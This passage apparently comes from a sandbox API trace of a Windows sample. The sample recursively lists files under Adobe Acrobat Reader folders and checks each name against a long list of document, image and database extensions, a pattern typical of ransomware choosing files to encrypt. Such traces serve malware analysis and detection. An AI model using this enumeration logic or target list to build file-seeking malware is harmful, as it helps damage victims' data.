returned -1 [0276.734] lstrlenW (lpString=".asa") returned 4 [0276.735] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0276.735] lstrlenW (lpString=".asc") returned 4 [0276.735] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0276.735] lstrlenW (lpString=".ascx") returned 5 [0276.735] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1 [0276.735] lstrlenW (lpString=".asm") returned 4 [0276.735] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0276.735] lstrlenW (lpString=".asmx") returned 5 [0276.735] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1 [0276.735] lstrlenW (lpString=".asp") returned 4 [0276.735] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0276.735] lstrlenW (lpString=".aspx") returned 5 [0276.735] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1 [0276.735] lstrlenW (lpString=".asr") returned 4 [0276.735] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0276.735] lstrlenW (lpString=".asx") returned 4 [0276.735] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0276.735] lstrlenW (lpString=".avi") returned 4 [0276.735] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0276.735] lstrlenW (lpString=".avs") returned 4 [0276.735] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0276.735] lstrlenW (lpString=".backup") returned 7 [0276.735] lstrcmpiW (lpString1=".backup", lpString2="ain.css") returned -1 [0276.735] lstrlenW (lpString=".bak") returned 4 [0276.735] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0276.735] lstrlenW (lpString=".bay") returned 4 [0276.736] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0276.736] lstrlenW (lpString=".bd") returned 3 [0276.736] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0276.736] lstrlenW (lpString=".bin") returned 4 [0276.736] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0276.736] lstrlenW (lpString=".bmp") returned 4 [0276.736] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0276.736] lstrlenW (lpString=".bz2") returned 4 [0276.736] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0276.736] lstrlenW (lpString=".c") returned 2 [0276.736] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0276.736] lstrlenW (lpString=".cdr") returned 4 [0276.736] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0276.736] lstrlenW (lpString=".cer") returned 4 [0276.736] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0276.736] lstrlenW (lpString=".cf") returned 3 [0276.736] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0276.736] lstrlenW (lpString=".cfc") returned 4 [0276.736] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0276.736] lstrlenW (lpString=".cfm") returned 4 [0276.736] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0276.736] lstrlenW (lpString=".cfml") returned 5 [0276.736] lstrcmpiW (lpString1=".cfml", lpString2="n.css") returned -1 [0276.736] lstrlenW (lpString=".cfu") returned 4 [0276.737] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0276.737] lstrlenW (lpString=".chm") returned 4 [0276.737] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0276.737] lstrlenW (lpString=".cin") returned 4 [0276.737] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0276.737] lstrlenW (lpString=".class") returned 6 [0276.737] lstrcmpiW (lpString1=".class", lpString2="in.css") returned -1 [0276.737] lstrlenW (lpString=".clx") returned 4 [0276.737] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0276.737] lstrlenW (lpString=".config") returned 7 [0276.737] lstrcmpiW (lpString1=".config", lpString2="ain.css") returned -1 [0276.737] lstrlenW (lpString=".cpp") returned 4 [0276.737] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0276.737] lstrlenW (lpString=".cr2") returned 4 [0276.737] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0276.737] lstrlenW (lpString=".crt") returned 4 [0276.737] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0276.737] lstrlenW (lpString=".crw") returned 4 [0276.737] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0276.737] lstrlenW (lpString=".cs") returned 3 [0276.737] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0276.737] lstrlenW (lpString=".css") returned 4 [0276.737] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0276.737] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1014, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0 [0276.738] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0276.738] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0276.738] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0276.738] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files-select\\js") returned 128 [0276.738] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files-select\\js") returned 1 [0276.738] lstrlenW (lpString="js") returned 2 [0276.738] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="js") returned -1 [0276.738] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0276.738] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files-select\\js") returned 128 [0276.738] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files-select\\js\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315830 [0276.739] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.739] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe371, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0276.739] lstrlenW (lpString="plugin.js") returned 9 [0276.739] lstrlenW (lpString=".1cd") returned 4 [0276.739] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0276.739] lstrlenW (lpString=".3ds") returned 4 [0276.739] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1 [0276.739] lstrlenW (lpString=".3fr") returned 4 [0276.739] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1 [0276.739] lstrlenW (lpString=".3g2") returned 4 [0276.739] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1 [0276.739] lstrlenW (lpString=".3gp") returned 4 [0276.739] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1 [0276.739] lstrlenW (lpString=".7z") returned 3 [0276.740] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.740] lstrlenW (lpString=".accda") returned 6 [0276.740] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1 [0276.740] lstrlenW (lpString=".accdb") returned 6 [0276.740] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1 [0276.740] lstrlenW (lpString=".accdc") returned 6 [0276.740] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1 [0276.740] lstrlenW (lpString=".accde") returned 6 [0276.740] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1 [0276.740] lstrlenW (lpString=".accdt") returned 6 [0276.740] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1 [0276.740] lstrlenW (lpString=".accdw") returned 6 [0276.740] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1 [0276.740] lstrlenW (lpString=".adb") returned 4 [0276.740] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1 [0276.740] lstrlenW (lpString=".adp") returned 4 [0276.740] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1 [0276.740] lstrlenW (lpString=".ai") returned 3 [0276.740] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.740] lstrlenW (lpString=".ai3") returned 4 [0276.740] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1 [0276.740] lstrlenW (lpString=".ai4") returned 4 [0276.740] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1 [0276.740] lstrlenW (lpString=".ai5") returned 4 [0276.740] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1 [0276.740] lstrlenW (lpString=".ai6") returned 4 [0276.740] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1 [0276.740] lstrlenW (lpString=".ai7") returned 4 [0276.741] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1 [0276.741] lstrlenW (lpString=".ai8") returned 4 [0276.741] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1 [0276.741] lstrlenW (lpString=".anim") returned 5 [0276.741] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1 [0276.741] lstrlenW (lpString=".arw") returned 4 [0276.741] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1 [0276.741] lstrlenW (lpString=".as") returned 3 [0276.741] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.741] lstrlenW (lpString=".asa") returned 4 [0276.741] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1 [0276.741] lstrlenW (lpString=".asc") returned 4 [0276.741] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1 [0276.741] lstrlenW (lpString=".ascx") returned 5 [0276.741] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1 [0276.741] lstrlenW (lpString=".asm") returned 4 [0276.741] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1 [0276.741] lstrlenW (lpString=".asmx") returned 5 [0276.741] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1 [0276.741] lstrlenW (lpString=".asp") returned 4 [0276.741] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1 [0276.741] lstrlenW (lpString=".aspx") returned 5 [0276.741] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1 [0276.741] lstrlenW (lpString=".asr") returned 4 [0276.741] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1 [0276.741] lstrlenW (lpString=".asx") returned 4 [0276.741] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1 [0276.742] lstrlenW (lpString=".avi") returned 4 [0276.742] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1 [0276.742] lstrlenW (lpString=".avs") returned 4 [0276.742] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1 [0276.742] lstrlenW (lpString=".backup") returned 7 [0276.742] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1 [0276.742] lstrlenW (lpString=".bak") returned 4 [0276.742] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1 [0276.742] lstrlenW (lpString=".bay") returned 4 [0276.742] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1 [0276.742] lstrlenW (lpString=".bd") returned 3 [0276.742] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.742] lstrlenW (lpString=".bin") returned 4 [0276.742] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1 [0276.742] lstrlenW (lpString=".bmp") returned 4 [0276.742] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1 [0276.742] lstrlenW (lpString=".bz2") returned 4 [0276.742] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0276.742] lstrlenW (lpString=".c") returned 2 [0276.742] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.742] lstrlenW (lpString=".cdr") returned 4 [0276.742] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1 [0276.742] lstrlenW (lpString=".cer") returned 4 [0276.742] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1 [0276.743] lstrlenW (lpString=".cf") returned 3 [0276.743] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.743] lstrlenW (lpString=".cfc") returned 4 [0276.743] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1 [0276.743] lstrlenW (lpString=".cfm") returned 4 [0276.743] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1 [0276.743] lstrlenW (lpString=".cfml") returned 5 [0276.743] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1 [0276.743] lstrlenW (lpString=".cfu") returned 4 [0276.743] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1 [0276.743] lstrlenW (lpString=".chm") returned 4 [0276.743] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1 [0276.743] lstrlenW (lpString=".cin") returned 4 [0276.743] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1 [0276.743] lstrlenW (lpString=".class") returned 6 [0276.743] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1 [0276.743] lstrlenW (lpString=".clx") returned 4 [0276.743] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1 [0276.743] lstrlenW (lpString=".config") returned 7 [0276.743] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1 [0276.743] lstrlenW (lpString=".cpp") returned 4 [0276.743] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1 [0276.743] lstrlenW (lpString=".cr2") returned 4 [0276.743] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1 [0276.743] lstrlenW (lpString=".crt") returned 4 [0276.744] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".crw") returned 4 [0276.744] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".cs") returned 3 [0276.744] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.744] lstrlenW (lpString=".css") returned 4 [0276.744] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".csv") returned 4 [0276.744] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".cub") returned 4 [0276.744] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".dae") returned 4 [0276.744] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".dat") returned 4 [0276.744] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".db") returned 3 [0276.744] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.744] lstrlenW (lpString=".dbf") returned 4 [0276.744] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".dbx") returned 4 [0276.744] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".dc3") returned 4 [0276.744] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".dcm") returned 4 [0276.744] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".dcr") returned 4 [0276.744] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1 [0276.744] lstrlenW (lpString=".der") returned 4 [0276.745] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1 [0276.745] lstrlenW (lpString=".dib") returned 4 [0276.745] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1 [0276.745] lstrlenW (lpString=".dic") returned 4 [0276.745] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1 [0276.745] lstrlenW (lpString=".dif") returned 4 [0276.745] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1 [0276.745] lstrlenW (lpString=".divx") returned 5 [0276.745] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1 [0276.745] lstrlenW (lpString=".djvu") returned 5 [0276.745] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1 [0276.745] lstrlenW (lpString=".dng") returned 4 [0276.745] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1 [0276.745] lstrlenW (lpString=".doc") returned 4 [0276.745] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0276.745] lstrlenW (lpString=".docm") returned 5 [0276.745] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1 [0276.745] lstrlenW (lpString=".docx") returned 5 [0276.745] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0276.745] lstrlenW (lpString=".dot") returned 4 [0276.745] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1 [0276.745] lstrlenW (lpString=".dotm") returned 5 [0276.745] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1 [0276.745] lstrlenW (lpString=".dotx") returned 5 [0276.745] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1 [0276.745] lstrlenW (lpString=".dpx") returned 4 [0276.745] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1 [0276.745] lstrlenW (lpString=".dqy") returned 4 [0276.746] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1 [0276.746] lstrlenW (lpString=".dsn") returned 4 [0276.746] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1 [0276.746] lstrlenW (lpString=".dt") returned 3 [0276.746] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.746] lstrlenW (lpString=".dtd") returned 4 [0276.746] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1 [0276.746] lstrlenW (lpString=".dwg") returned 4 [0276.746] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1 [0276.746] lstrlenW (lpString=".dwt") returned 4 [0276.746] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1 [0276.746] lstrlenW (lpString=".dx") returned 3 [0276.746] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.746] lstrlenW (lpString=".dxf") returned 4 [0276.746] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1 [0276.746] lstrlenW (lpString=".edml") returned 5 [0276.746] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1 [0276.746] lstrlenW (lpString=".efd") returned 4 [0276.746] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1 [0276.746] lstrlenW (lpString=".elf") returned 4 [0276.746] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1 [0276.746] lstrlenW (lpString=".emf") returned 4 [0276.746] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1 [0276.746] lstrlenW (lpString=".emz") returned 4 [0276.746] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1 [0276.746] lstrlenW (lpString=".epf") returned 4 [0276.746] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1 [0276.747] lstrlenW (lpString=".eps") returned 4 [0276.747] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1 [0276.747] lstrlenW (lpString=".epsf") returned 5 [0276.747] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1 [0276.747] lstrlenW (lpString=".epsp") returned 5 [0276.747] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1 [0276.747] lstrlenW (lpString=".erf") returned 4 [0276.747] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1 [0276.747] lstrlenW (lpString=".exr") returned 4 [0276.747] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1 [0276.747] lstrlenW (lpString=".f4v") returned 4 [0276.747] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1 [0276.747] lstrlenW (lpString=".fido") returned 5 [0276.747] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1 [0276.747] lstrlenW (lpString=".flm") returned 4 [0276.747] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1 [0276.747] lstrlenW (lpString=".flv") returned 4 [0276.747] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1 [0276.747] lstrlenW (lpString=".frm") returned 4 [0276.747] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1 [0276.747] lstrlenW (lpString=".fxg") returned 4 [0276.747] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1 [0276.747] lstrlenW (lpString=".geo") returned 4 [0276.747] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1 [0276.747] lstrlenW (lpString=".gif") returned 4 [0276.747] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1 [0276.747] lstrlenW (lpString=".grs") returned 4 [0276.748] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1 [0276.748] lstrlenW (lpString=".gz") returned 3 [0276.748] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0276.748] lstrlenW (lpString=".h") returned 2 [0276.748] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0276.748] lstrlenW (lpString=".hdr") returned 4 [0276.748] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1 [0276.748] lstrlenW (lpString=".hpp") returned 4 [0276.748] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1 [0276.748] lstrlenW (lpString=".hta") returned 4 [0276.748] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1 [0276.748] lstrlenW (lpString=".htc") returned 4 [0276.748] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1 [0276.748] lstrlenW (lpString=".htm") returned 4 [0276.748] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1 [0276.748] lstrlenW (lpString=".html") returned 5 [0276.748] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1 [0276.748] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xebe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 1 [0276.748] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xebe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 0 [0276.748] FindClose (in: hFindFile=0x3315830 | out: hFindFile=0x3315830) returned 1 [0276.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0276.749] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0276.749] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0276.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0276.749] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig", cAlternateFileName="")) returned 1 [0276.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5050048 [0276.749] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0276.860] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.860] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0276.860] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, 